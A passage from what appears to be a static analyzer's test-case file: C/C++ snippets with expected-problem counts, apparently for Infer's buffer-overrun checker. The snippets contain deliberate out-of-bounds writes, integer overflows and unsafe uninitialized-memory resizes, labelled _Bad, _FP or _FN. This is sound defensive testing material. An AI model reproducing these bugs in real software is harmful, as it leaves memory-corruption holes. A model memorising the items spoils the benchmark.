a[i] = 3;\n }\n}\n\nvoid call_do_two_times_Good_FP() { do_two_times_Good(5); }\n\nvoid call_do_two_times2_Good_FP() { do_two_times2_Good(5); }\n" + }, + { + "testname": "while_loop.c", + "testlanguage": "c", + "expected-problems": 21, + "code": "/*\n * Copyright (c) 2016-present, Programming Research Laboratory (ROPAS)\n * Seoul National University, Korea\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nvoid while_loop() {\n int i = 0;\n char* a = malloc(10);\n while (*(a + i) && i < 10) /* BUG */\n a[i++] = 1; /* SAFE */\n}\n\nstruct S {\n struct S* f;\n};\n\nvoid dummy_func(struct S* x) {}\n\nvoid diverge_on_narrowing() {\n struct S* x;\n while (1) {\n dummy_func(0);\n x = x->f;\n }\n}\n\nvoid join_minmax_with_sum_unsigned_Good(unsigned int x, unsigned int y) {\n char a[x + y + 1];\n int i = 0;\n while (i < x + y) {\n if (i > 5) {\n y = 0;\n }\n i++;\n }\n a[i] = 2;\n}\n\nvoid call_join_minmax_with_sum_unsigned_Good() {\n join_minmax_with_sum_unsigned_Good(15, 50);\n}\n\nvoid join_minmax_with_sum_signed_Good_FP(int x, int y) {\n int s = x + y;\n if (s < 0)\n s = 0;\n char a[s + 1];\n int i = 0;\n while (i < x + y) {\n if (i > 5) {\n y = 0;\n }\n i++;\n }\n a[i] = 2;\n}\n\nvoid preciser_widen_Good(int x) {\n int idx = 0;\n int arr[10];\n while (idx < 10) {\n arr[idx] = 0;\n if (unknown()) {\n idx = x;\n }\n }\n}\n" + }, + { + "testname": "arith.cpp", + "testlanguage": "c++", + "expected-problems": 31, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nvoid sizeof_bool_Good() {\n int a[2];\n int z = sizeof(bool); // z is 1 (byte)\n a[z] = 0;\n}\n\nvoid sizeof_bool_Bad() {\n int a[1];\n int z = sizeof(bool); // z is 1 (byte)\n a[z] = 0;\n}\n\n// FP due to incomplete frontend translation of casting\nvoid range_bool_Good_FP() {\n int a[2];\n bool x = true + true; // x is 1 (true)\n a[x] = 0;\n}\n\nvoid range_bool_Bad() {\n int a[1];\n bool x = true + false; // x is 1 (true)\n a[x] = 0;\n}\n\nvoid bool_overflow_Good_FP() {\n int a[10];\n if (((bool)-1) - 1) {\n a[10] = 0;\n } else {\n a[5] = 0;\n }\n}\n\nvoid bool_overflow_Bad() {\n int a[10];\n if (((bool)-1) - 1) {\n a[10] = 0;\n } else {\n a[15] = 0;\n }\n}\n\nvoid bool_overflow2_Good_FP() {\n int a[10];\n if (((bool)-2) - 1) {\n a[10] = 0;\n } else {\n a[5] = 0;\n }\n}\n\nclass RG {\n public:\n RG(uint32_t init) {\n seed = init;\n x = init;\n }\n\n inline uint32_t integer_overflow_rand() {\n uint32_t max = 4294967295;\n return (seed = seed * max);\n }\n\n inline uint32_t integer_overflow_x() {\n uint32_t max = 4294967295;\n return (x = x * max);\n }\n\n private:\n uint32_t seed;\n uint32_t x;\n};\n\nuint32_t call_integer_overflow_rand_Good() {\n RG generator(4294967295);\n return generator.integer_overflow_rand();\n}\n\nuint32_t call_integer_overflow_x_Bad() {\n RG generator(4294967295);\n return generator.integer_overflow_x();\n}\n\nstruct S_prng_lfsr {\n uint32_t prng_lfsr;\n};\n\nvoid integer_overflow_field_Good(struct S_prng_lfsr* c) {\n c->prng_lfsr = 1;\n c->prng_lfsr = 0 - c->prng_lfsr;\n}\n\nstruct S_x {\n uint32_t x;\n};\n\nvoid integer_overflow_field_Bad(struct S_x* c) {\n c->x = 1;\n c->x = 0 - c->x;\n}\n\nuint32_t integer_overflow_param_1(uint32_t seed) { return seed - 1; }\n\nvoid call_integer_overflow_param_1_Good() { integer_overflow_param_1(0); }\n\nuint32_t integer_overflow_param_2(uint32_t x) { return x - 1; }\n\nvoid call_integer_overflow_param_2_Bad() { integer_overflow_param_2(0); }\n\n// \"HaSh\" (not \"hash\") is fot checking case-insensitive comparison.\nvoid allow_listed_HaSh_Good() {\n uint32_t x = -1;\n uint32_t y = x * 8;\n}\n\nvoid mod_ub(const char* msg, size_t leng) {\n size_t rem = leng % 32;\n if (rem == 15) {\n char d = msg[14]; // Good\n }\n if (rem == 10) {\n char d = msg[14]; // Bad\n }\n}\n\nvoid call_mod_ub_1_Good() { mod_ub(\"ab\", 2); }\n\nvoid call_mod_ub_2_Good() { mod_ub(\"abcdefghijklmno\", 15); }\n\nvoid call_mod_ub_Bad() { mod_ub(\"abcdefghij\", 10); }\n" + }, + { + "testname": "class.cpp", + "testlanguage": "c++", + "expected-problems": 152, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nclass my_class {\n int idx;\n int arr[10];\n\n void set_a(int n) { idx = n; }\n\n int id(int n) { return n; }\n\n public:\n int access_Bad() {\n set_a(10);\n return arr[idx];\n }\n\n int access2_Bad() {\n int n = 10;\n return arr[id(n)];\n }\n\n int access_nth(int n) { return arr[n]; }\n};\n\nvoid access_after_new_Good() {\n my_class* x = new my_class();\n x->access_nth(5);\n}\n\nvoid access_after_new_Bad() {\n my_class* x = new my_class();\n x->access_nth(15);\n}\n\n#include \n\nclass my_class2 {\n public:\n int a[5];\n};\n\nvoid array_member_malloc_Good() {\n my_class2* x = (my_class2*)malloc(sizeof(my_class2));\n x->a[0] = 0;\n}\n\nvoid array_member_malloc_Bad() {\n my_class2* x = (my_class2*)malloc(sizeof(my_class2));\n x->a[10] = 0;\n}\n\nclass my_class3 {\n public:\n my_class2 b;\n};\n\nvoid array_member_malloc2_Bad() {\n my_class3* x = (my_class3*)malloc(sizeof(my_class3));\n x->b.a[10] = 0;\n}\n\n#include \n\nvoid new_nothrow_Good() {\n my_class2* x = new (std::nothrow) my_class2();\n x->a[0] = 0;\n}\n\nvoid new_nothrow_Bad() {\n my_class2* x = new (std::nothrow) my_class2();\n x->a[10] = 0;\n}\n\nvoid placement_new_Good() {\n char* mem = (char*)malloc(sizeof(my_class2));\n my_class2* x = new (mem) my_class2();\n x->a[0] = 0;\n}\n\nvoid placement_new_Bad() {\n char* mem = (char*)malloc(sizeof(my_class2));\n my_class2* x = new (mem) my_class2();\n x->a[10] = 0;\n}\n\nenum class DummyClass {};\ninline void* operator new(std::size_t, DummyClass, void* p) { return p; }\ninline void* operator new(std::size_t, void* p, DummyClass) { return p; }\n\nvoid placement_new_overload1_Good() {\n char* mem = (char*)malloc(sizeof(my_class2));\n my_class2* x = new (DummyClass{}, mem) my_class2();\n x->a[0] = 0;\n}\n\nvoid placement_new_overload1_Bad() {\n char* mem = (char*)malloc(sizeof(my_class2));\n my_class2* x = new (DummyClass{}, mem) my_class2();\n x->a[10] = 0;\n}\n\nvoid placement_new_overload2_Good() {\n char* mem = (char*)malloc(sizeof(my_class2));\n my_class2* x = new (mem, DummyClass{}) my_class2();\n x->a[0] = 0;\n}\n\nvoid placement_new_overload2_Bad() {\n char* mem = (char*)malloc(sizeof(my_class2));\n my_class2* x = new (mem, DummyClass{}) my_class2();\n x->a[10] = 0;\n}\n\nstruct DummyStruct {};\ninline void* operator new(std::size_t, DummyStruct, void* p) { return p; }\ninline void* operator new(std::size_t, void* p, DummyStruct) { return p; }\n\nvoid placement_new_overload3_Good() {\n char* mem = (char*)malloc(sizeof(my_class2));\n my_class2* x = new (DummyStruct{}, mem) my_class2();\n x->a[0] = 0;\n}\n\nvoid placement_new_overload4_Good() {\n char* mem = (char*)malloc(sizeof(my_class2));\n my_class2* x = new (mem, DummyStruct{}) my_class2();\n x->a[0] = 0;\n}\n\nstruct Allocator {\n void* allocate(std::size_t size) { return malloc(size); }\n};\n\nvoid* operator new(std::size_t size, Allocator& allocator) {\n return allocator.allocate(size);\n}\n\nvoid user_defined_new_Bad_FN() {\n Allocator allocator;\n my_class2* x = new (allocator) my_class2();\n x->a[10] = 0;\n}\n\nclass my_class4 {\n public:\n int a[3];\n int c[3];\n int b[1];\n};\n\nvoid flexible_array1_Good() {\n char* mem = (char*)malloc(sizeof(my_class4) + 4 * sizeof(int));\n my_class4* x = new (mem) my_class4();\n x->b[4] = 0;\n}\n\nvoid flexible_array1_Bad() {\n char* mem = (char*)malloc(sizeof(my_class4) + 4 * sizeof(int));\n my_class4* x = new (mem) my_class4();\n x->b[5] = 0;\n}\n\nvoid flexible_array2_Bad_FN() {\n char* mem = (char*)malloc(4 * sizeof(int) + sizeof(my_class4));\n my_class4* x = new (mem) my_class4();\n x->b[5] = 0;\n}\n\nvoid flexible_array3_Bad_FN() {\n char* mem = (char*)malloc(sizeof(my_class4) + sizeof(int) * 4);\n my_class4* x = new (mem) my_class4();\n x->b[5] = 0;\n}\n\nvoid* operator new(std::size_t s1, std::size_t s2) { return malloc(s1 + s2); }\nvoid* operator new(std::size_t s1, std::size_t s2, bool) {\n return malloc(s1 + s2);\n}\n\nvoid flexible_array_new_overload1_Good() {\n my_class4* x = new (5 * sizeof(int)) my_class4();\n x->b[5] = 0;\n}\n\nvoid flexible_array_new_overload1_Bad() {\n my_class4* x = new (5 * sizeof(int)) my_class4();\n x->b[10] = 0;\n}\n\nvoid flexible_array_new_overload2_Good() {\n my_class4* x = new (5 * sizeof(int), true) my_class4();\n x->b[5] = 0;\n}\n\nvoid flexible_array_new_overload2_Bad() {\n my_class4* x = new (5 * sizeof(int), true) my_class4();\n x->b[10] = 0;\n}\n\nclass my_class5 {\n public:\n int d[3];\n int f[3];\n my_class4 e;\n};\n\nvoid flexible_array4_Good() {\n char* mem = (char*)malloc(sizeof(my_class5) + 4 * sizeof(int));\n my_class5* x = new (mem) my_class5();\n x->e.b[4] = 0;\n}\n\nvoid flexible_array4_Bad() {\n char* mem = (char*)malloc(sizeof(my_class5) + 4 * sizeof(int));\n my_class5* x = new (mem) my_class5();\n x->e.b[5] = 0;\n}\n\nclass Tree {\n private:\n unsigned int children_num;\n\n Tree(unsigned int children_num) : children_num(children_num) {}\n\n public:\n void set_child(Tree* child, unsigned int nth) { children[nth] = child; }\n\n static Tree* NewNode(unsigned int children_num) {\n char* mem =\n (char*)malloc(sizeof(Tree) + (children_num - 1) * sizeof(Tree*));\n return new (mem) Tree(children_num);\n }\n\n static Tree* NewLeaf() { return new Tree(0); }\n\n private:\n Tree* children[1];\n};\n\nvoid flexible_array5_Good() {\n Tree* t = Tree::NewNode(3);\n t->set_child(Tree::NewLeaf(), 0);\n t->set_child(Tree::NewLeaf(), 1);\n t->set_child(Tree::NewLeaf(), 2);\n}\n\nvoid flexible_array5_Bad() {\n Tree* t = Tree::NewNode(3);\n t->set_child(Tree::NewLeaf(), 5);\n}\n\nvoid flexible_array_param_access(my_class4* x) { x->b[3] = 0; }\n\nvoid flexible_array_param_Good() {\n my_class4* x = (my_class4*)malloc(sizeof(my_class4) + 4 * sizeof(int));\n flexible_array_param_access(x);\n}\n\nvoid flexible_array_param_Bad() {\n my_class4* x = (my_class4*)malloc(sizeof(my_class4) + 2 * sizeof(int));\n flexible_array_param_access(x);\n}\n\nchar* my_malloc() { return (char*)malloc(sizeof(my_class4) + 4 * sizeof(int)); }\n\nvoid return_class_Good() {\n my_class4* x = (my_class4*)my_malloc();\n x->b[3] = 0;\n}\n\nvoid return_class_Bad() {\n my_class4* x = (my_class4*)my_malloc();\n x->b[5] = 0;\n}\n\nstruct S {\n static constexpr unsigned int x = 32;\n};\n\nvoid use_global_Good() {\n int a[50];\n a[S::x] = 0;\n}\n\nvoid use_global_Bad() {\n int a[30];\n a[S::x] = 0;\n}\n\nconst unsigned int S::x;\n\nvoid use_global_2_Good() {\n int a[50];\n a[S::x] = 0;\n}\n\nvoid use_global_2_Bad() {\n int a[30];\n a[S::x] = 0;\n}\n\nclass my_class6 {\n int* x;\n\n void dummy_function() {}\n\n void set_x_two_Good() {\n int arr[5];\n *x = 0;\n dummy_function();\n arr[*x] = 0;\n }\n\n void set_x_two_Bad() {\n int arr[5];\n *x = 5;\n dummy_function();\n arr[*x] = 0;\n }\n\n void set_x_three() { *x = 3; }\n\n void call_set_x_three_Good() {\n int arr[5];\n set_x_three();\n arr[*x] = 0;\n }\n\n void call_set_x_three_Bad() {\n int arr[3];\n set_x_three();\n arr[*x] = 0;\n }\n};\n" + }, + { + "testname": "conditional_proof_obligation.cpp", + "testlanguage": "c++", + "expected-problems": 76, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nvoid conditional_buffer_access(int* ptr, unsigned int size) {\n int i;\n if (size < 1) {\n } else if (size < 2) {\n i = *(ptr++);\n } else if (size < 3) {\n i = *(ptr++);\n i = *(ptr++);\n } else if (size < 4) {\n i = *(ptr++);\n i = *(ptr++);\n i = *(ptr++);\n } else if (size < 5) {\n i = *(ptr++);\n i = *(ptr++);\n i = *(ptr++);\n i = *(ptr++);\n }\n}\n\nvoid call_conditional_buffer_access_Good() {\n int a[1];\n conditional_buffer_access(a, 1);\n}\n\nvoid call_conditional_buffer_access_Bad() {\n int a[1];\n conditional_buffer_access(a, 3);\n}\n\nvoid conditional_buffer_access2(unsigned int n) {\n int a[n];\n conditional_buffer_access(a, n);\n}\n\nvoid call_conditional_buffer_access2_1_Good() { conditional_buffer_access2(1); }\n\nvoid call_conditional_buffer_access2_2_Good() { conditional_buffer_access2(3); }\n\nvoid conditional_minus(int* ptr, unsigned int size) {\n int i = 0;\n if (ptr != NULL && (i < size - 1)) {\n }\n}\n\nvoid call_conditional_minus_1_Good() { conditional_minus(NULL, 0); }\n\nvoid call_conditional_minus_2_Good() {\n int a[3];\n conditional_minus(a, 3);\n}\n\nvoid call_conditional_minus_2_Bad() {\n int a[3];\n conditional_minus(a, 0);\n}\n\nunsigned int conditional_minus2(int* ptr, unsigned int size) {\n if (ptr != NULL) {\n return (size - 1);\n }\n}\n\nvoid call_conditional_minus2_1_Good() { conditional_minus2(NULL, 0); }\n\nvoid call_conditional_minus2_2_Good() {\n int a[3];\n conditional_minus2(a, 3);\n}\n\nvoid call_conditional_minus2_2_Bad() {\n int a[3];\n conditional_minus2(a, 0);\n}\n\nenum E {\n E_SIZEONE = 0,\n E_SIZETWO = 1,\n};\n\nvoid conditional_buffer_access3(int* ptr, int size) {\n int i;\n switch (ptr[0]) {\n case E_SIZETWO:\n i = ptr[size - 2];\n i = ptr[size - 1];\n break;\n\n case E_SIZEONE:\n i = ptr[size - 1];\n break;\n }\n}\n\nvoid call_conditional_buffer_access3_1_Good() {\n int a[2];\n a[0] = E_SIZETWO;\n conditional_buffer_access3(a, 2);\n}\n\nvoid call_conditional_buffer_access3_2_Good() {\n int a[1];\n a[0] = E_SIZEONE;\n conditional_buffer_access3(a, 1);\n}\n\nvoid call_conditional_buffer_access3_Bad() {\n int a[1];\n a[0] = E_SIZETWO;\n conditional_buffer_access3(a, 1);\n}\n\nvoid conditional_inequality(int idx) {\n int a[5];\n if (idx == 5) {\n } else {\n a[idx] = 0;\n }\n}\n\nvoid call_conditional_inequality_Good() { conditional_inequality(5); }\n\nvoid call_conditional_inequality_Bad() { conditional_inequality(6); }\n\nvoid conditional_inequality_join1(int idx) {\n int a[5];\n if (idx == 5) {\n } else {\n // pruning exp is \"idx != 5\"\n L:\n // joined pruning exp is \"Unknown\"\n a[idx] = 0;\n }\n\n if (idx == 6) {\n // pruning exp is \"idx == 6\"\n goto L;\n }\n}\n\nvoid call_conditional_inequality_join1_Good_FP() {\n conditional_inequality_join1(5);\n}\n\nvoid call_conditional_inequality_join1_Bad() {\n conditional_inequality_join1(6);\n}\n\nvoid conditional_inequality_join2(int idx) {\n int a[5];\n if (idx == 5) {\n } else {\n // pruning exp is \"idx != 5\"\n L:\n // joined pruning exp is \"idx != [5, 6]\"\n a[idx] = 0;\n }\n\n if (idx != 6) {\n // pruning exp is \"idx != 6\"\n goto L;\n }\n}\n\nvoid call_conditional_inequality_join2_1_Bad() {\n conditional_inequality_join2(5);\n}\n\nvoid call_conditional_inequality_join2_2_Bad() {\n conditional_inequality_join2(6);\n}\n\nvoid conditional_inequality_depth2(int i) {\n int a[5];\n if (i != 1) {\n a[i] = 0;\n }\n}\n\nvoid conditional_inequality_depth1(int i) {\n if (i != 5) {\n conditional_inequality_depth2(i);\n }\n}\n\nvoid call_conditional_inequality_depth1_1_Good() {\n conditional_inequality_depth1(5);\n}\n\nvoid call_conditional_inequality_depth1_2_Good() {\n conditional_inequality_depth1(1);\n}\n\nvoid call_conditional_inequality_depth1_3_Bad() {\n conditional_inequality_depth1(6);\n}\n\nclass MyString {\n char* _data = \"\";\n size_t _size = 0;\n\n public:\n size_t size() { return _size; }\n\n char* data() { return _data; }\n};\n\nvoid set_fourth_idx(char* p) { p[3] = '0'; }\n\nvoid set_fourth_idx_safe(MyString* input) {\n if (input->size() < 4) {\n return;\n }\n set_fourth_idx(input->data());\n}\n\nvoid call_set_fourth_idx_safe_Good() {\n MyString* s = new MyString();\n set_fourth_idx_safe(s);\n}\n\nvoid throw_exception(int i) {\n int a[10];\n if (i >= 10) {\n throw std::runtime_error(\"throw exception\");\n }\n a[i] = 0;\n}\n\nvoid call_throw_exception_Good() { throw_exception(15); }\n\nvoid call_throw_exception_Bad() { throw_exception(-5); }\n" + }, + { + "testname": "cpp_is_tricky.cpp", + "testlanguage": "c++", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nnamespace CppIsTricky {\nvoid vector_size_Bad() {\n const auto vec = std::vector{1, 2, 3};\n const int numExpectedElements = 1;\n const auto delta = numExpectedElements - vec.size();\n}\n\nvoid minus1_Bad_FN() {\n const unsigned long i2 = 18446744073709551614u;\n const unsigned long i1 = 446744073709551614u;\n const int d1 = i2 - i1;\n}\nvoid minus2_Bad_FN() {\n const unsigned long i2 = 18446744073709551614u;\n const unsigned long i1 = 446744073709551614u;\n const long d2 = i2 - i1;\n}\nvoid minus3_Good() {\n const unsigned long i2 = 18446744073709551614u;\n const unsigned long i1 = 446744073709551614u;\n const auto d3 = i2 - i1;\n}\n} // namespace CppIsTricky\n" + }, + { + "testname": "external.cpp", + "testlanguage": "c++", + "expected-problems": 6, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nextern char** lib();\n\nvoid extern_bad() {\n int arr[10];\n char** p = lib();\n if (p != 0)\n arr[10] = 0;\n char* q = *p;\n if (q != 0)\n arr[20] = 0;\n int r = *q;\n if (r != 0)\n arr[30] = 0;\n}\n" + }, + { + "testname": "folly_memory_UninitializedMemoryHacks.cpp", + "testlanguage": "c++", + "expected-problems": 31, + "code": "/*\n * Copyright 2017 Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n#pragma once\n\n#include \n#include \n#include \n\nnamespace {\n// This struct is different in every translation unit. We use template\n// instantiations to define inline freestanding methods. Since the\n// methods are inline it is fine to define them in multiple translation\n// units, but the instantiation itself would be an ODR violation if it is\n// present in the program more than once. By tagging the instantiations\n// with this struct, we avoid ODR problems for the instantiation while\n// allowing the resulting methods to be inline-able. If you think that\n// seems hacky keep reading...\nstruct FollyMemoryDetailTranslationUnitTag {};\n} // namespace\nnamespace folly {\nnamespace detail {\nvoid unsafeStringSetLargerSize(std::string& s, std::size_t n);\ntemplate \nvoid unsafeVectorSetLargerSize(std::vector& v, std::size_t n);\n} // namespace detail\n\n/*\n * This file provides helper functions resizeWithoutInitialization()\n * that can resize std::string or std::vector without constructing or\n * initializing new elements.\n *\n * IMPORTANT: These functions can be unsafe if used improperly. If you\n * don't write to an element with index >= oldSize and < newSize, reading\n * the element can expose arbitrary memory contents to the world, including\n * the contents of old strings. If you're lucky you'll get a segfault,\n * because the kernel is only required to fault in new pages on write\n * access. MSAN should be able to catch problems in the common case that\n * the string or vector wasn't previously shrunk.\n *\n * Pay extra attention to your failure paths. For example, if you try\n * to read directly into a caller-provided string, make sure to clear\n * the string when you get an I/O error.\n *\n * You should only use this if you have profiling data from production\n * that shows that this is not a premature optimization. This code is\n * designed for retroactively optimizing code where touching every element\n * twice (or touching never-used elements once) shows up in profiling,\n * and where restructuring the code to use fixed-length arrays or IOBuf-s\n * would be difficult.\n *\n * NOTE: Just because .resize() shows up in your profile (probably\n * via one of the intrinsic memset implementations) doesn't mean that\n * these functions will make your program faster. A lot of the cost\n * of memset comes from cache misses, so avoiding the memset can mean\n * that the cache miss cost just gets pushed to the following code.\n * resizeWithoutInitialization can be a win when the contents are bigger\n * than a cache level, because the second access isn't free in that case.\n * It can be a win when the memory is already cached, so touching it\n * doesn't help later code. It can also be a win if the final length\n * of the string or vector isn't actually known, so the suffix will be\n * chopped off with a second call to .resize().\n */\n\n/**\n * Like calling s.resize(n), but when growing the string does not\n * initialize new elements. It is undefined behavior to read from\n * any element added to the string by this method unless it has been\n * written to by an operation that follows this call.\n *\n * IMPORTANT: Read the warning at the top of this header file.\n */\ninline void resizeWithoutInitialization(std::string& s, std::size_t n) {\n if (n <= s.size()) {\n s.resize(n);\n } else {\n // careful not to call reserve unless necessary, as it causes\n // shrink_to_fit on many platforms\n if (n > s.capacity()) {\n s.reserve(n);\n }\n detail::unsafeStringSetLargerSize(s, n);\n }\n}\n\n/**\n * Like calling v.resize(n), but when growing the vector does not construct\n * or initialize new elements. It is undefined behavior to read from any\n * element added to the vector by this method unless it has been written\n * to by an operation that follows this call.\n *\n * Use the FOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT(T) macro to\n * declare (and inline define) the internals required to call\n * resizeWithoutInitialization for a std::vector. This must\n * be done exactly once in each translation unit that wants to call\n * resizeWithoutInitialization(std::vector&,size_t). char and unsigned\n * char are provided by default. If you don't do this you will get linker\n * errors about folly::detail::unsafeVectorSetLargerSize. Requiring that\n * T be trivially_destructible is only an approximation of the property\n * required of T. In fact what is required is that any random sequence of\n * bytes may be safely reinterpreted as a T and passed to T's destructor.\n *\n * std::vector has specialized internals and is not supported.\n *\n * IMPORTANT: Read the warning at the top of this header file.\n */\ntemplate ::value &&\n !std::is_same::value>::type>\nvoid resizeWithoutInitialization(std::vector& v, std::size_t n) {\n if (n <= v.size()) {\n v.resize(n);\n } else {\n if (n > v.capacity()) {\n v.reserve(n);\n }\n detail::unsafeVectorSetLargerSize(v, n);\n }\n}\n\nnamespace detail {\n\n#if defined(_LIBCPP_STRING)\n// libc++\n\n} // namespace detail\n} // namespace folly\ntemplate void std::string::__set_size(std::size_t);\nnamespace folly {\nnamespace detail {\n\ntemplate \nstruct MakeUnsafeStringSetLargerSize {\n friend void unsafeStringSetLargerSize(std::basic_string& s,\n std::size_t n) {\n // s.__set_size(n);\n (s.*Ptr__set_size)(n);\n (&s[0])[n] = '\\0';\n }\n};\ntemplate struct MakeUnsafeStringSetLargerSize<\n FollyMemoryDetailTranslationUnitTag,\n char,\n void (std::string::*)(std::size_t),\n &std::string::__set_size>;\n\n#elif defined(_GLIBCXX_USE_FB)\n// FBString\n\ntemplate \nstruct MakeUnsafeStringSetLargerSize {\n friend void unsafeStringSetLargerSize(std::basic_string& s,\n std::size_t n) {\n // s.store_.expandNoinit(n - s.size(), false);\n (s.*Ptrstore_).expandNoinit(n - s.size(), false);\n }\n};\ntemplate struct MakeUnsafeStringSetLargerSize<\n FollyMemoryDetailTranslationUnitTag,\n char,\n std::fbstring_core(std::string::*),\n &std::string::store_>;\n\n#elif defined(_GLIBCXX_STRING) && _GLIBCXX_USE_CXX11_ABI\n// libstdc++ new implementation with SSO\n\n} // namespace detail\n} // namespace folly\ntemplate void std::string::_M_set_length(std::size_t);\nnamespace folly {\nnamespace detail {\n\ntemplate \nstruct MakeUnsafeStringSetLargerSize {\n friend void unsafeStringSetLargerSize(std::basic_string& s,\n std::size_t n) {\n // s._M_set_length(n);\n (s.*Ptr_M_set_length)(n);\n }\n};\ntemplate struct MakeUnsafeStringSetLargerSize<\n FollyMemoryDetailTranslationUnitTag,\n char,\n void (std::string::*)(std::size_t),\n &std::string::_M_set_length>;\n\n#elif defined(_GLIBCXX_STRING)\n// libstdc++ old implementation\n\n} // namespace detail\n} // namespace folly\ntemplate std::string::_Rep* std::string::_M_rep() const;\ntemplate void std::string::_Rep::_M_set_length_and_sharable(std::size_t);\nnamespace folly {\nnamespace detail {\n\ntemplate \nstruct MakeUnsafeStringSetLargerSize {\n friend void unsafeStringSetLargerSize(std::basic_string& s,\n std::size_t n) {\n // s._M_rep()->_M_set_length_and_sharable(n);\n auto rep = (s.*Ptr_M_rep)();\n (rep->*Ptr_M_set_length_and_sharable)(n);\n }\n};\ntemplate struct MakeUnsafeStringSetLargerSize<\n FollyMemoryDetailTranslationUnitTag,\n char,\n std::string::_Rep* (std::string::*)() const,\n &std::string::_M_rep,\n void (std::string::_Rep::*)(std::size_t),\n &std::string::_Rep::_M_set_length_and_sharable>;\n\n#elif defined(_MSC_VER)\n// MSVC\n\ninline void unsafeStringSetLargerSize(std::string& s, std::size_t n) {\n s._Eos(n);\n}\n\n#else\n#warnin \"No implementation for resizeWithoutInitialization of std::string\"\n#endif\n\n// This machinery bridges template expansion and macro expansion\n#define FOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT_IMPL(TYPE) \\\n namespace folly { \\\n namespace detail { \\\n void unsafeVectorSetLargerSizeImpl(std::vector& v, std::size_t); \\\n template <> \\\n inline void unsafeVectorSetLargerSize(std::vector & v, \\\n std::size_t n) { \\\n unsafeVectorSetLargerSizeImpl(v, n); \\\n } \\\n } \\\n }\n\n#if defined(_GLIBCXX_VECTOR)\n // libstdc++\n\ntemplate \nstruct MakeUnsafeVectorSetLargerSize : std::vector {\n friend void unsafeVectorSetLargerSizeImpl(std::vector& v, std::size_t n) {\n // v._M_impl._M_finish += (n - v.size());\n (v.*Ptr_M_impl).*Ptr_M_finish += (n - v.size());\n }\n};\n\n#define FOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT(TYPE) \\\n template struct folly::detail::MakeUnsafeVectorSetLargerSize< \\\n FollyMemoryDetailTranslationUnitTag, \\\n TYPE, \\\n std::vector::_Vector_impl( \\\n std::_Vector_base>::*), \\\n &std::vector::_M_impl, \\\n TYPE*(std::vector::_Vector_impl::*), \\\n &std::vector::_Vector_impl::_M_finish>; \\\n FOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT_IMPL(TYPE)\n\n#elif defined(_MSC_VER)\n// MSVC\n\n#define FOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT(TYPE) \\\n extern inline void unsafeVectorSetLargerSizeImpl(std::vector& v, \\\n std::size_t n) { \\\n v._Mylast() += (n - v.size()); \\\n } \\\n FOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT_IMPL(TYPE)\n\n#else\n#warning \"No implementation for resizeWithoutInitialization of std::vector\"\n#endif\n\n} // namespace detail\n} // namespace folly\n\n#if defined(FOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT)\nFOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT(char)\nFOLLY_DECLARE_VECTOR_RESIZE_WITHOUT_INIT(unsigned char)\n#endif\n\nnamespace infer_test {\nvoid foo_string(std::string& s, std::size_t n) {\n folly::resizeWithoutInitialization(s, n);\n}\nvoid foo_vector(std::vector& v, std::size_t n) {\n folly::resizeWithoutInitialization(v, n);\n}\n} // namespace infer_test\n" + }, + { + "testname": "folly_split.cpp", + "testlanguage": "c++", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n#include \n\nnamespace folly {\n\ntemplate \nclass fbvector;\n\ntemplate \nstruct Optional;\n\nclass fbstring;\nclass StringPiece;\n\ntemplate \nvoid split(const Delim& delimiter,\n const String& input,\n std::vector& out,\n const bool ignoreEmpty = false);\n\ntemplate \nvoid split(const Delim& delimiter,\n const String& input,\n folly::fbvector& out,\n const bool ignoreEmpty = false);\n\ntemplate \nvoid splitTo(const Delim& delimiter,\n const String& input,\n OutputIterator out,\n const bool ignoreEmpty = false);\n\n} // namespace folly\n\nnamespace folly_split {\nstd::string do_not_ignore_empty_Good(const std::string& s) {\n std::vector v;\n folly::split(\"delimiter\", s, v);\n return v[0];\n}\n\nstd::string do_not_ignore_empty2_Good(const std::string& s) {\n std::vector v;\n folly::split(\"delimiter\", s, v, false);\n return v[0];\n}\n\nstd::string do_not_ignore_empty_Bad(const std::string& s) {\n std::vector v;\n folly::split(\"delimiter\", s, v, true);\n return v[0];\n}\n} // namespace folly_split\n" + }, + { + "testname": "function_call.cpp", + "testlanguage": "c++", + "expected-problems": 18, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nstruct S {\n int field;\n};\n\nvoid ref_set_to_zero(int& x) { x = 0; }\n\nvoid struct_ref_set_to_zero(struct S& s) { s.field = 0; }\n\nvoid call_by_ref_good() {\n int arr[10];\n int i = 99;\n 